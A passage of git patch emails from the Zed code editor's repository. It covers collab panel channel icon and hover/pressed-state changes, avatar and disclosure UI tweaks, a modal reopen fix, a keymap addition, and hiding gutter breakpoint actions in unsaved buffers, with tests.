+                        let room = ActiveCall::global(cx).read(cx).room();
+                        if room.is_some() {
+                            format!("Invite {} to Join Call", &username)
+                        } else {
+                            format!("Call {}", &username)
+                        }
+                    };
+                    Tooltip::simple(text, cx)
+                })
             })
     }
 
@@ -3220,6 +3319,7 @@ impl CollabPanel {
         channel: &Channel,
         depth: usize,
         has_children: bool,
+        is_favorite_entry: bool,
         is_selected: bool,
         ix: usize,
         string_match: Option<&StringMatch>,
@@ -3294,12 +3394,75 @@ impl CollabPanel {
 
         let height = rems_from_px(24.);
 
+        let icon_name = if is_public {
+            IconName::Hash
+        } else {
+            IconName::Lock
+        };
+
+        let icon_knockout_bg = if is_selected || is_active {
+            cx.theme().colors().ghost_element_selected
+        } else {
+            cx.theme().colors().panel_background
+        };
+
+        let is_hovered = self.hovered_channel == Some((channel_id, is_favorite_entry));
+
+        let icon_slot = h_flex().size_4().flex_none().justify_center().map(|slot| {
+            if has_children && is_hovered {
+                slot.child(
+                    h_flex()
+                        .on_mouse_down(MouseButton::Left, |_, _, cx| cx.stop_propagation())
+                        .child(
+                            Disclosure::new("toggle", disclosed.unwrap_or(false))
+                                .shape(IconButtonShape::Square)
+                                .on_click(cx.listener(move |this, _, window, cx| {
+                                    this.toggle_channel_collapsed(channel_id, window, cx)
+                                })),
+                        ),
+                )
+            } else if has_notes_notification {
+                slot.child(DecoratedIcon::new(
+                    Icon::new(icon_name)
+                        .size(IconSize::Small)
+                        .color(Color::Muted),
+                    Some(
+                        IconDecoration::new(IconDecorationKind::Dot, icon_knockout_bg, cx)
+                            .color(cx.theme().colors().text_accent)
+                            .position(Point {
+                                x: px(-3.),
+                                y: px(6.),
+                            }),
+                    ),
+                ))
+            } else {
+                slot.child(
+                    Icon::new(icon_name)
+                        .size(IconSize::Small)
+                        .color(Color::Muted),
+                )
+            }
+        });
+
+        let panel_bg = cx.theme().colors().panel_background;
+        let hover_bg = panel_bg.blend(cx.theme().colors().ghost_element_hover);
+        let active_bg = panel_bg.blend(cx.theme().colors().ghost_element_active);
+
         h_flex()
             .id(ix)
             .group("")
             .h(height)
             .w_full()
             .overflow_hidden()
+            .on_hover(cx.listener(move |this, hovered: &bool, _, cx| {
+                let hovered_channel = hovered.then_some((channel_id, is_favorite_entry));
+                if this.hovered_channel != hovered_channel
+                    && (*hovered || this.hovered_channel == Some((channel_id, is_favorite_entry)))
+                {
+                    this.hovered_channel = hovered_channel;
+                    cx.notify();
+                }
+            }))
             .when(!channel.is_root_channel(), |el| {
                 el.on_drag(channel.clone(), move |channel, _, _, cx| {
                     cx.new(|_| DraggedChannelView {
@@ -3328,14 +3491,9 @@ impl CollabPanel {
             .child(
                 ListItem::new(ix)
                     .height(height)
-                    // Add one level of depth for the disclosure arrow.
-                    .indent_level(depth + 1)
+                    .indent_level(depth)
                     .indent_step_size(px(20.))
                     .toggle_state(is_selected || is_active)
-                    .toggle(disclosed)
-                    .on_toggle(cx.listener(move |this, _, window, cx| {
-                        this.toggle_channel_collapsed(channel_id, window, cx)
-                    }))
                     .on_click(cx.listener(move |this, _, window, cx| {
                         if is_active {
                             this.open_channel_notes(channel_id, window, cx)
@@ -3359,27 +3517,8 @@ impl CollabPanel {
                             .id(format!("inside-{}", channel_id.0))
                             .w_full()
                             .gap_1()
-                            .child(
-                                div()
-                                    .relative()
-                                    .child(
-                                        Icon::new(if is_public {
-                                            IconName::Public
-                                        } else {
-                                            IconName::Hash
-                                        })
-                                        .size(IconSize::Small)
-                                        .color(Color::Muted),
-                                    )
-                                    .children(has_notes_notification.then(|| {
-                                        div()
-                                            .w_1p5()
-                                            .absolute()
-                                            .right(px(-1.))
-                                            .top(px(-1.))
-                                            .child(Indicator::dot().color(Color::Info))
-                                    })),
-                            )
+                            .pl_0p5()
+                            .child(icon_slot)
                             .child(
                                 h_flex()
                                     .id(channel_id.0 as usize)
@@ -3408,14 +3547,16 @@ impl CollabPanel {
             )
             .child(
                 h_flex()
+                    .id("channel-controls")
                     .visible_on_hover("")
                     .h_full()
                     .absolute()
                     .right_0()
-                    .px_1()
+                    .pl_1()
+                    .pr_1p5()
                     .gap_px()
-                    .rounded_l_md()
-                    .bg(cx.theme().colors().background)
+                    .bg(hover_bg)
+                    .group_active("", |s| s.bg(active_bg))
                     .child({
                         let focus_handle = self.focus_handle.clone();
                         IconButton::new("channel_favorite", favorite_icon)
@@ -3460,8 +3601,7 @@ impl CollabPanel {
     ) -> impl IntoElement {
         let item = ListItem::new("channel-editor")
             .inset(false)
-            // Add one level of depth for the disclosure arrow.
-            .indent_level(depth + 1)
+            .indent_level(depth)
             .indent_step_size(px(20.))
             .start_slot(
                 Icon::new(IconName::Hash)
@@ -3946,9 +4086,9 @@ impl Render for DraggedChannelView {
             .child(
                 Icon::new(
                     if self.channel.visibility == proto::ChannelVisibility::Public {
-                        IconName::Public
-                    } else {
                         IconName::Hash
+                    } else {
+                        IconName::Lock
                     },
                 )
                 .size(IconSize::Small)
diff --git a/crates/ui/src/components/avatar.rs b/crates/ui/src/components/avatar.rs
index 6d12a0d3d226b0..ff0240fed21475 100644
--- a/crates/ui/src/components/avatar.rs
+++ b/crates/ui/src/components/avatar.rs
@@ -1,7 +1,7 @@
 use crate::prelude::*;
 
 use documented::Documented;
-use gpui::{AnyElement, Hsla, ImageSource, Img, IntoElement, Styled, img};
+use gpui::{AnyElement, AnyView, Hsla, ImageSource, Img, IntoElement, Styled, img};
 
 /// An element that renders a user avatar with customizable appearance options.
 ///
@@ -108,8 +108,6 @@ impl RenderOnce for Avatar {
     }
 }
 
-use gpui::AnyView;
-
 /// The audio status of an player, for use in representing
 /// their status visually on their avatar.
 #[derive(Debug, PartialEq, Eq, PartialOrd, Ord, Hash, Clone, Copy)]
@@ -191,6 +189,7 @@ pub enum CollaboratorAvailability {
 pub struct AvatarAvailabilityIndicator {
     availability: CollaboratorAvailability,
     avatar_size: Option<Pixels>,
+    border_color: Option<Hsla>,
 }
 
 impl AvatarAvailabilityIndicator {
@@ -199,6 +198,7 @@ impl AvatarAvailabilityIndicator {
         Self {
             availability,
             avatar_size: None,
+            border_color: None,
         }
     }
 
@@ -207,6 +207,11 @@ impl AvatarAvailabilityIndicator {
         self.avatar_size = size.into();
         self
     }
+
+    pub fn border_color(mut self, color: impl Into<Hsla>) -> Self {
+        self.border_color = Some(color.into());
+        self
+    }
 }
 
 impl RenderOnce for AvatarAvailabilityIndicator {
@@ -216,12 +221,22 @@ impl RenderOnce for AvatarAvailabilityIndicator {
         // HACK: non-integer sizes result in oval indicators.
         let indicator_size = (avatar_size * 0.4).round();
 
+        let border_width = if self.border_color.is_some() {
+            px(2.)
+        } else {
+            px(0.)
+        };
+        let container_size = indicator_size + border_width * 2.;
+
         div()
             .absolute()
-            .bottom_0()
-            .right_0()
-            .size(indicator_size)
-            .rounded(indicator_size)
+            .bottom(-border_width)
+            .right(-border_width)
+            .size(container_size)
+            .rounded(container_size)
+            .when_some(self.border_color, |this, color| {
+                this.border(border_width).border_color(color)
+            })
             .bg(match self.availability {
                 CollaboratorAvailability::Free => cx.theme().status().created,
                 CollaboratorAvailability::Busy => cx.theme().status().deleted,
diff --git a/crates/ui/src/components/disclosure.rs b/crates/ui/src/components/disclosure.rs
index 8cd1d5c0b9fa39..de3d91bb14d20c 100644
--- a/crates/ui/src/components/disclosure.rs
+++ b/crates/ui/src/components/disclosure.rs
@@ -1,7 +1,8 @@
 use std::sync::Arc;
 
-use gpui::{AnyView, ClickEvent, CursorStyle, SharedString};
+use gpui::{AnyView, ClickEvent, SharedString};
 
+use crate::IconButtonShape;
 use crate::prelude::*;
 
 #[derive(IntoElement, RegisterComponent)]
@@ -10,12 +11,12 @@ pub struct Disclosure {
     is_open: bool,
     selected: bool,
     disabled: bool,
-    on_toggle_expanded: Option<Arc<dyn Fn(&ClickEvent, &mut Window, &mut App) + 'static>>,
-    cursor_style: CursorStyle,
-    opened_icon: IconName,
     closed_icon: IconName,
+    shape: Option<IconButtonShape>,
     visible_on_hover: Option<SharedString>,
     tooltip: Option<Box<dyn Fn(&mut Window, &mut App) -> AnyView + 'static>>,
+    on_toggle_expanded: Option<Arc<dyn Fn(&ClickEvent, &mut Window, &mut App) + 'static>>,
+    opened_icon: IconName,
 }
 
 impl Disclosure {
@@ -26,9 +27,9 @@ impl Disclosure {
             selected: false,
             disabled: false,
             on_toggle_expanded: None,
-            cursor_style: CursorStyle::PointingHand,
             opened_icon: IconName::ChevronDown,
             closed_icon: IconName::ChevronRight,
+            shape: None,
             visible_on_hover: None,
             tooltip: None,
         }
@@ -61,23 +62,22 @@ impl Disclosure {
         self.disabled = disabled;
         self
     }
-}
 
-impl Toggleable for Disclosure {
-    fn toggle_state(mut self, selected: bool) -> Self {
-        self.selected = selected;
+    /// Sets the shape of the underlying [`IconButton`].
+    pub fn shape(mut self, shape: IconButtonShape) -> Self {
+        self.shape = Some(shape);
         self
     }
-}
 
-impl Clickable for Disclosure {
-    fn on_click(mut self, handler: impl Fn(&ClickEvent, &mut Window, &mut App) + 'static) -> Self {
-        self.on_toggle_expanded = Some(Arc::new(handler));
-        self
+    /// Alias for [`Self::on_toggle_expanded`].
+    pub fn on_click(self, handler: impl Fn(&ClickEvent, &mut Window, &mut App) + 'static) -> Self {
+        self.on_toggle_expanded(Arc::new(handler) as Arc<_>)
     }
+}
 
-    fn cursor_style(mut self, cursor_style: gpui::CursorStyle) -> Self {
-        self.cursor_style = cursor_style;
+impl Toggleable for Disclosure {
+    fn toggle_state(mut self, selected: bool) -> Self {
+        self.selected = selected;
         self
     }
 }
@@ -103,6 +103,7 @@ impl RenderOnce for Disclosure {
         .aria_label(if self.is_open { "Collapse" } else { "Expand" })
         .aria_expanded(self.is_open)
         .disabled(self.disabled)
+        .when_some(self.shape, |this, shape| this.shape(shape))
         .toggle_state(self.selected)
         .when_some(self.visible_on_hover.clone(), |this, group_name| {
             this.visible_on_hover(group_name)
diff --git a/crates/ui/src/components/list/list_header.rs b/crates/ui/src/components/list/list_header.rs
index 741f60ba34dbda..e844c72cb25a11 100644
--- a/crates/ui/src/components/list/list_header.rs
+++ b/crates/ui/src/components/list/list_header.rs
@@ -1,6 +1,6 @@
 use std::sync::Arc;
 
-use crate::{Disclosure, prelude::*};
+use crate::{Disclosure, IconButtonShape, prelude::*};
 use component::{Component, ComponentScope, example_group_with_title, single_example};
 use gpui::{AnyElement, ClickEvent};
 use theme::UiDensity;
@@ -18,6 +18,7 @@ pub struct ListHeader {
     /// It will obscure the `end_slot` when visible.
     end_hover_slot: Option<AnyElement>,
     toggle: Option<bool>,
+    disclosure_shape: Option<IconButtonShape>,
     on_toggle: Option<Arc<dyn Fn(&ClickEvent, &mut Window, &mut App) + 'static>>,
     inset: bool,
     selected: bool,
@@ -32,6 +33,7 @@ impl ListHeader {
             end_hover_slot: None,
             inset: false,
             toggle: None,
+            disclosure_shape: None,
             on_toggle: None,
             selected: false,
         }
@@ -42,6 +44,12 @@ impl ListHeader {
         self
     }
 
+    /// Sets the shape of the disclosure button.
+    pub fn disclosure_shape(mut self, shape: IconButtonShape) -> Self {
+        self.disclosure_shape = Some(shape);
+        self
+    }
+
     pub fn on_toggle(
         mut self,
         on_toggle: impl Fn(&ClickEvent, &mut Window, &mut App) + 'static,
@@ -108,6 +116,9 @@ impl RenderOnce for ListHeader {
                             .gap(DynamicSpacing::Base04.rems(cx))
                             .children(self.toggle.map(|is_open| {
                                 Disclosure::new("toggle", is_open)
+                                    .when_some(self.disclosure_shape, |this, shape| {
+                                        this.shape(shape)
+                                    })
                                     .on_toggle_expanded(self.on_toggle.clone())
                             }))
                             .child(

From 9007560a696dbc9037314808052411d43386598e Mon Sep 17 00:00:00 2001
From: Danilo Leal <67129314+danilo-leal@users.noreply.github.com>
Date: Tue, 21 Jul 2026 22:50:08 +0000
Subject: [PATCH 613/772] collab_panel: Fix pressed state of the channel item
 (#61423)

Quick follow up to https://github.com/zed-industries/zed/pull/61397,
where there was a bug in background color for the extra controls on each
item flashing as a click on any item's disclosure occurred.

Release Notes:

- N/A
---
 crates/collab_ui/src/collab_panel.rs | 31 +++++++++++++++++++++++++---
 1 file changed, 28 insertions(+), 3 deletions(-)

diff --git a/crates/collab_ui/src/collab_panel.rs b/crates/collab_ui/src/collab_panel.rs
index 30217a1e1f6374..cac43913a1e67d 100644
--- a/crates/collab_ui/src/collab_panel.rs
+++ b/crates/collab_ui/src/collab_panel.rs
@@ -280,6 +280,7 @@ pub struct CollabPanel {
     filter_occupied_channels: bool,
     workspace: WeakEntity<Workspace>,
     hovered_channel: Option<(ChannelId, bool)>,
+    pressed_channel: Option<(ChannelId, bool)>,
     notification_store: Entity<NotificationStore>,
     current_notification_toast: Option<(u64, Task<()>)>,
     mark_as_read_tasks: HashMap<u64, Task<anyhow::Result<()>>>,
@@ -399,6 +400,7 @@ impl CollabPanel {
                 focus_handle: cx.focus_handle(),
                 channel_clipboard: None,
                 hovered_channel: None,
+                pressed_channel: None,
                 fs: workspace.app_state().fs.clone(),
                 pending_panel_serialization: Task::ready(None),
                 pending_favorites_serialization: Task::ready(None),
@@ -3447,6 +3449,7 @@ impl CollabPanel {
         let panel_bg = cx.theme().colors().panel_background;
         let hover_bg = panel_bg.blend(cx.theme().colors().ghost_element_hover);
         let active_bg = panel_bg.blend(cx.theme().colors().ghost_element_active);
+        let is_pressed = self.pressed_channel == Some((channel_id, is_favorite_entry));
 
         h_flex()
             .id(ix)
@@ -3463,6 +3466,29 @@ impl CollabPanel {
                     cx.notify();
                 }
             }))
+            .on_mouse_down(
+                MouseButton::Left,
+                cx.listener(move |this, _, _, cx| {
+                    this.pressed_channel = Some((channel_id, is_favorite_entry));
+                    cx.notify();
+                }),
+            )
+            .on_mouse_up(
+                MouseButton::Left,
+                cx.listener(move |this, _, _, cx| {
+                    if this.pressed_channel.take().is_some() {
+                        cx.notify();
+                    }
+                }),
+            )
+            .on_mouse_up_out(
+                MouseButton::Left,
+                cx.listener(move |this, _, _, cx| {
+                    if this.pressed_channel.take().is_some() {
+                        cx.notify();
+                    }
+                }),
+            )
             .when(!channel.is_root_channel(), |el| {
                 el.on_drag(channel.clone(), move |channel, _, _, cx| {
                     cx.new(|_| DraggedChannelView {
@@ -3553,10 +3579,9 @@ impl CollabPanel {
                     .absolute()
                     .right_0()
                     .pl_1()
-                    .pr_1p5()
+                    .pr_2()
                     .gap_px()
-                    .bg(hover_bg)
-                    .group_active("", |s| s.bg(active_bg))
+                    .bg(if is_pressed { active_bg } else { hover_bg })
                     .child({
                         let focus_handle = self.focus_handle.clone();
                         IconButton::new("channel_favorite", favorite_icon)

From 4ebc1545d299b1270bc76813fa841357ee711b19 Mon Sep 17 00:00:00 2001
From: David <dbkegley@users.noreply.github.com>
Date: Wed, 22 Jul 2026 01:11:53 +0000
Subject: [PATCH 614/772] Fix `workspace::ReopenLastPicker` action when
 `which_key` helper is enabled (#61002)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

# Objective

Fixes #60612

`workspace::ReopenLastPicker` should open the stashed picker _after_ the
active model is dismissed

## Solution

Queue reopen requests when another modal is active, then reveal the
stashed modal after `hide_modal` clears the layer. Reset queued reveals
when explicitly opening a new modal.

## Testing

Confirmed `ReopenLastPicker` keybind working even when which_key is
enabled with delay=`0ms`. Tested with file_finder and text_finder.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

---

Release Notes:

- Fixed `workspace::ReopenLastPicker` when `which_key` helper menu is
enabled

Co-authored-by: Yara 🏳️‍⚧️ <git@yara.blue>
---
 crates/workspace/src/modal_layer.rs | 21 ++++++++++++++
 crates/workspace/src/workspace.rs   | 44 +++++++++++++++++++++++++++++
 2 files changed, 65 insertions(+)

diff --git a/crates/workspace/src/modal_layer.rs b/crates/workspace/src/modal_layer.rs
index 4964d82159fd96..ec0254868b3fbf 100644
--- a/crates/workspace/src/modal_layer.rs
+++ b/crates/workspace/src/modal_layer.rs
@@ -114,6 +114,11 @@ pub struct ModalLayer {
     // can reveal it again with its exact prior state. Left intact across
     // non-reopenable modals (e.g. the command palette), which may trigger the reopen.
     stashed_modal: Option<Box<dyn ModalViewHandle>>,
+    // Set when a reveal was requested while another modal was still active (e.g. the
+    // which-key popup that is dismissed only after the reopen action fires). The reveal
+    // then happens once that modal closes, so it doesn't matter whether the triggering
+    // modal is dismissed before or after the action dispatches.
+    reveal_stash_when_free: bool,
     dismiss_on_focus_lost: bool,
 }
 
@@ -132,6 +137,7 @@ impl ModalLayer {
         Self {
             active_modal: None,
             stashed_modal: None,
+            reveal_stash_when_free: false,
             dismiss_on_focus_lost: false,
         }
     }
@@ -148,6 +154,9 @@ impl ModalLayer {
         V: ModalView,
         B: FnOnce(&mut Window, &mut Context<V>) -> V,
     {
+        // Opening a modal explicitly supersedes any reveal that was waiting for the
+        // layer to become free.
+        self.reveal_stash_when_free = false;
         if let Some(active_modal) = &self.active_modal {
             let should_close = active_modal.modal.view().downcast::<V>().is_ok();
             let did_close = self.hide_modal(window, cx);
@@ -193,7 +202,13 @@ impl ModalLayer {
     /// Reveals the most recently stashed reopenable modal, if any. Returns whether
     /// a modal was revealed.
     pub fn reveal_stashed_modal(&mut self, window: &mut Window, cx: &mut Context<Self>) -> bool {
+        if self.stashed_modal.is_none() {
+            return false;
+        }
         if self.active_modal.is_some() {
+            // Another modal is still closing (e.g. the which-key popup that dismisses
+            // only after this action fires). Reveal once it is gone; see `hide_modal`.
+            self.reveal_stash_when_free = true;
             return false;
         }
         let Some(modal) = self.stashed_modal.take() else {
@@ -243,6 +258,12 @@ impl ModalLayer {
             cx.notify();
         }
         self.dismiss_on_focus_lost = false;
+        // A reveal was requested while this modal was still active; now that the layer
+        // is free, honor it.
+        if self.reveal_stash_when_free && self.active_modal.is_none() {
+            self.reveal_stash_when_free = false;
+            self.reveal_stashed_modal(window, cx);
+        }
         true
     }
 
diff --git a/crates/workspace/src/workspace.rs b/crates/workspace/src/workspace.rs
index 525a3d4d29b659..eb454d9c64c7e3 100644
--- a/crates/workspace/src/workspace.rs
+++ b/crates/workspace/src/workspace.rs
@@ -14851,6 +14851,50 @@ mod tests {
         );
     }
 
+    #[gpui::test]
+    async fn test_reopen_last_picker_with_active_leader_modal(cx: &mut gpui::TestAppContext) {
+        init_test(cx);
+
+        let fs = FakeFs::new(cx.executor());
+        let project = Project::test(fs, [], cx).await;
+        let (workspace, cx) =
+            cx.add_window_view(|window, cx| Workspace::test_new(project, window, cx));
+
+        // Stash a reopenable modal.
+        workspace.update_in(cx, |workspace, window, cx| {
+            workspace.toggle_modal(window, cx, ReopenableTestModal::new);
+        });
+        cx.executor().run_until_parked();
+        workspace.update_in(cx, |workspace, window, cx| {
+            workspace
+                .modal_layer
+                .update(cx, |modal_layer, cx| modal_layer.hide_modal(window, cx));
+        });
+        cx.executor().run_until_parked();
+
+        // A non-reopenable modal (e.g. the which-key popup) is already
+        // active when the reopen fires, and it dismisses *after* the action rather
+        // than before it (which-key dismisses when pending input clears).
+        workspace.update_in(cx, |workspace, window, cx| {
+            workspace.toggle_modal(window, cx, TestModal::new);
+        });
+        cx.executor().run_until_parked();
+        workspace.update_in(cx, |workspace, window, cx| {
+            // Reopen fires first (chord completes and dispatches the action)...
+            workspace.reopen_last_picker(&ReopenLastPicker, window, cx);
+            // ...then the modal dismisses
+            let modal = workspace.active_modal::<TestModal>(cx).unwrap();
+            modal.update(cx, |_, cx| cx.emit(DismissEvent));
+        });
+        cx.executor().run_until_parked();
+        assert!(
+            workspace.read_with(cx, |workspace, cx| workspace
+                .active_modal::<ReopenableTestModal>(cx)
+                .is_some()),
+            "reopen with an active modal that dismisses after the action should reveal the stash"
+        );
+    }
+
     #[gpui::test]
     async fn test_panels(cx: &mut gpui::TestAppContext) {
         init_test(cx);

From 8556974b402cfb9e83bba1f1882862e87beb9056 Mon Sep 17 00:00:00 2001
From: mTvare <mTvare6@proton.me>
Date: Wed, 22 Jul 2026 08:10:22 +0000
Subject: [PATCH 615/772] recent_projects: Fix open folder keybinding (#61305)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

# Objective

Closes #58986

This PR fixes `Ctrl-K Ctrl-O` opening a file picker while the Recent
Projects picker is focused.

The keymaps globally bind `Ctrl-O` to `workspace::OpenFiles` and `Ctrl-K
Ctrl-O` to `workspace::Open`

The Recent Projects context also binds `Ctrl-K` to toggle its actions
menu. The more specific binding ate `Ctrl-K` stopping the global `Ctrl-K
Ctrl-O` bind occuring.

## Solution

Add a `RecentProjects`-specific `Ctrl-K Ctrl-O` binding to
`workspace::Open` after the existing contextual `Ctrl-K` binding.
This matches the action associated with “Open Local Folders,” including
its multiple-selection and open-mode behavior.
macOS is unchanged because its primary `Cmd-O` shortcut already maps to
`workspace::Open`.

## Testing

Try #58986, then this.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [ ] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Release Notes:

- Fixed `Ctrl-K Ctrl-O` opening a file picker instead of the local
folder picker from Recent Projects.
---
 assets/keymaps/default-linux.json   | 1 +
 assets/keymaps/default-windows.json | 1 +
 2 files changed, 2 insertions(+)

diff --git a/assets/keymaps/default-linux.json b/assets/keymaps/default-linux.json
index 5b0476282f8ac4..2b911f35c55a4b 100644
--- a/assets/keymaps/default-linux.json
+++ b/assets/keymaps/default-linux.json
@@ -1211,6 +1211,7 @@
     "context": "RecentProjects || (RecentProjects > Picker > Editor)",
     "bindings": {
       "ctrl-k": "recent_projects::ToggleActionsMenu",
+      "ctrl-k ctrl-o": "workspace::Open",
       "ctrl-shift-a": "workspace::AddFolderToProject",
       "shift-backspace": "recent_projects::RemoveSelected",
       "ctrl-shift-enter": "recent_projects::AddToWorkspace",
diff --git a/assets/keymaps/default-windows.json b/assets/keymaps/default-windows.json
index c2723cf39652f4..2dabb3931202a6 100644
--- a/assets/keymaps/default-windows.json
+++ b/assets/keymaps/default-windows.json
@@ -1220,6 +1220,7 @@
     "use_key_equivalents": true,
     "bindings": {
       "ctrl-k": "recent_projects::ToggleActionsMenu",
+      "ctrl-k ctrl-o": "workspace::Open",
       "ctrl-shift-a": "workspace::AddFolderToProject",
       "shift-backspace": "recent_projects::RemoveSelected",
       "ctrl-shift-enter": "recent_projects::AddToWorkspace",

From 502cbccb0bc717118231ae8c5e25e8a02b8380ac Mon Sep 17 00:00:00 2001
From: saberoueslati <saberoueslati12@gmail.com>
Date: Wed, 22 Jul 2026 08:28:46 +0000
Subject: [PATCH 616/772] =?UTF-8?q?editor:=20Disable=20gutter=20breakpoint?=
 =?UTF-8?q?=20and=20bookmark=20actions=20in=20unsaved=20buf=E2=80=A6=20(#6?=
 =?UTF-8?q?1310)?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

## Context

Closes #58818

Breakpoints and bookmarks are keyed by a buffer's absolute file path. In
an unsaved (untitled) buffer there is no worktree file, so both
`BreakpointStore::toggle_breakpoint` and
`BookmarkStore::toggle_bookmark` early-return and do nothing. The gutter
still offered the affordances, so clicking (or cmd-clicking) the gutter
hover button, or picking an entry from the gutter right-click menu,
silently did nothing.

Rather than support these actions on unsaved buffers, this hides them:
the gutter hover button and the gutter context menu are both suppressed
for buffers without a worktree file, matching the store-level
eligibility check (`project::File::from_dyn(...).is_some()`). The buffer
is resolved per row via `anchor_to_buffer_anchor`, so multibuffers with
a mix of saved and unsaved excerpts behave correctly.

Manual test after the changes :

[Screencast from 2026-07-19
18-46-26.webm](https://github.com/user-attachments/assets/d1fe6704-3843-49bb-bcd6-d84ecdd4f19d)


## How to Review

**`crates/editor/src/element/mouse.rs`**

In the gutter hover-button computation in `mouse_moved`, the existing
`anchor_to_buffer_anchor(...).is_some()` guard is tightened to also
require the resolved buffer to have a worktree file. When the row
belongs to an unsaved buffer the button state stays `None` and the
debounce task is never armed, so the add-breakpoint/add-bookmark button
no longer appears. This is the single writer of `gutter_hover_button`,
and it recomputes on every mouse move, so a buffer that later gets saved
picks up the button again immediately.

**`crates/editor/src/editor.rs`**

`set_gutter_context_menu` now binds the multibuffer snapshot once,
computes the effective anchor, and returns early when that anchor's
buffer is not file-backed, so no menu is opened. This is the shared
choke point for all three ways the menu can open (gutter background
right-click, breakpoint-marker right-click, bookmark-marker
right-click), so every store-backed entry (Set/Unset Breakpoint,
log/condition/hit-condition, Enable/Disable, Add/Remove Bookmark, Edit
Bookmark, Run to Cursor) and the file-meaningless Git Blame entry are
all suppressed together. `gutter_context_menu` itself is unchanged.

**`crates/editor/src/editor_tests.rs`**

Adds a shared `build_gutter_hover_test_editor(saved)` helper that builds
either a saved-file editor or an untitled-buffer editor (via
`Project::create_buffer`), plus small helpers that draw the window and
simulate a mouse move / right-click over row 0 of the gutter hitbox.
Four tests cover both surfaces on both buffer kinds:
`test_gutter_hover_button_shown_for_saved_buffer` /
`test_gutter_hover_button_hidden_for_unsaved_buffer` (asserting the
hover button state and its activation debounce), and
`test_gutter_context_menu_shown_for_saved_buffer` /
`test_gutter_context_menu_hidden_for_unsaved_buffer` (asserting
`mouse_context_menu` opens only for the saved buffer). The saved-buffer
tests act as positive controls so the negative tests cannot pass
vacuously.

## Self-Review Checklist

- [x] I've reviewed my own diff for quality, security, and reliability
- [ ] Unsafe blocks (if any) have justifying comments
- [x] The content is consistent with the UI/UX checklist
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Release Notes:

- Fixed the gutter offering breakpoint and bookmark actions in unsaved
buffers, where they could not take effect
---
 crates/editor/src/editor.rs        |  22 ++--
 crates/editor/src/editor_tests.rs  | 162 +++++++++++++++++++++++++++++
 crates/editor/src/element/mouse.rs |   7 +-
 3 files changed, 184 insertions(+), 7 deletions(-)

diff --git a/crates/editor/src/editor.rs b/crates/editor/src/editor.rs
index 682ffcbe27f7cf..4a93aae5dfd964 100644
--- a/crates/editor/src/editor.rs
+++ b/crates/editor/src/editor.rs
@@ -5831,13 +5831,23 @@ impl Editor {
         window: &mut Window,
         cx: &mut Context<Self>,
     ) {
-        let source = self
-            .buffer
-            .read(cx)
-            .snapshot(cx)
-            .anchor_before(Point::new(display_row.0, 0u32));
+        let snapshot = self.buffer.read(cx).snapshot(cx);
+        let source = snapshot.anchor_before(Point::new(display_row.0, 0u32));
+        let anchor = position.unwrap_or(source);
+
+        // Every entry in this menu either requires a worktree-file-backed buffer
+        // (breakpoints, bookmarks, run to cursor) or is meaningless without one
+        // (git blame), so don't open it for e.g. untitled buffers.
+        if !snapshot
+            .anchor_to_buffer_anchor(anchor)
+            .is_some_and(|(_, buffer_snapshot)| {
+                project::File::from_dyn(buffer_snapshot.file()).is_some()
+            })
+        {
+            return;
+        }
 
-        let context_menu = self.gutter_context_menu(position.unwrap_or(source), window, cx);
+        let context_menu = self.gutter_context_menu(anchor, window, cx);
 
         self.mouse_context_menu = MouseContextMenu::pinned_to_editor(
             self,
diff --git a/crates/editor/src/editor_tests.rs b/crates/editor/src/editor_tests.rs
index e69bee21561780..d8af07824e1a42 100644
--- a/crates/editor/src/editor_tests.rs
+++ b/crates/editor/src/editor_tests.rs
@@ -31090,6 +31090,168 @@ async fn test_breakpoint_toggling(cx: &mut TestAppContext) {
     assert_breakpoint(&breakpoints, &abs_path, vec![]);
 }
 
+async fn build_gutter_hover_test_editor(saved: bool, cx: &mut TestAppContext) -> EditorTestContext {
+    init_test(cx, |_| {});
+
+    let fs = FakeFs::new(cx.executor());
+    fs.insert_tree(
+        path!("/a"),
+        json!({
+            "main.rs": "fn main() {}\n",
+        }),
+    )
+    .await;
+    let project = Project::test(fs, [path!("/a").as_ref()], cx).await;
+
+    let buffer = if saved {
+        let worktree_id = project.read_with(cx, |project, cx| {
+            project.worktrees(cx).next().unwrap().read(cx).id()
+        });
+        project
+            .update(cx, |project, cx| {
+                project.open_buffer((worktree_id, rel_path("main.rs")), cx)
+            })
+            .await
+            .unwrap()
+    } else {
+        let buffer = project
+            .update(cx, |project, cx| project.create_buffer(None, true, cx))
+            .await
+            .unwrap();
+        buffer.update(cx, |buffer, cx| {
+            buffer.edit([(0..0, "fn main() {}\n")], None, cx);
+        });
+        buffer
+    };
+
+    let window = cx.add_window(|window, cx| {
+        let editor = build_editor_with_project(
+            project,
+            MultiBuffer::build_from_buffer(buffer, cx),
+            window,
+            cx,
+        );
+        window.focus(&editor.focus_handle(cx), cx);
+        editor
+    });
+
+    EditorTestContext::for_editor(window, cx).await
+}
+
+fn hover_over_gutter_row_zero(cx: &mut EditorTestContext) {
+    cx.update(|window, cx| {
+        window.refresh();
+        let _ = window.draw(cx);
+    });
+
+    let gutter_bounds = cx.update_editor(|editor, _, _| {
+        editor
+            .last_position_map
+            .as_ref()
+            .expect("expected editor position map")
+            .gutter_hitbox
+            .bounds
+    });
+
+    let hover_position = gutter_bounds.center();
+    cx.simulate_mouse_move(hover_position, None, Modifiers::none());
+}
+
+#[gpui::test]
+async fn test_gutter_hover_button_shown_for_saved_buffer(cx: &mut TestAppContext) {
+    let mut cx = build_gutter_hover_test_editor(true, cx).await;
+
